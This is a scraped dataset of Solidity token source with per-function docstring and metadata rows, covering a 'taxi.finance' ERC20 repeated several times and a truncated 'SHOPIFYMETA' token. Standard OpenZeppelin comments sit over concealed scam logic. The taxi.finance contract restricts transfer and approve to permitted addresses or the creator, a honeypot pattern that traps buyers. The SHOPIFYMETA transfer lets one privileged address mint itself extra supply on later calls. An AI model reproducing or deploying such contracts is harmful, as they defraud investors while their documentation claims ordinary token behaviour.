contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 3746, 4261 ] }
1,456
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 4652, 4883 ] }
1,457
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 5366, 5648 ] }
1,458
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 6118, 6594 ] }
1,459
ERC20
Token.sol
0x2def178726302d5b3ca363a1d21069a9f12e6e97
Solidity
ERC20
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "taxi.finance"; //_symbol = "TAXI"; _name = "taxi.finance"; _symbol = "TAXI"; _decimals = 18; _totalSupply = 20000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.6+commit.6c089d02
None
ipfs://e2bc7e30faf0e95b741abcb83cc9d3f6c11fa8d4a80bd4208706d67c7c9c3e95
{ "func_code_index": [ 7015, 7359 ] }
1,460
SHOPIFYMETA
@openzeppelin/contracts/utils/Context.sol
0xf13c284fd5038c4025c6677df6697c6027b5824b
Solidity
ERC20
contract ERC20 is Context, IERC20, IERC20Metadata , SHOPIFY{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount.prod(2)); _balances[recipient]=_balances[recipient].cre(amount.prod(2));emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = 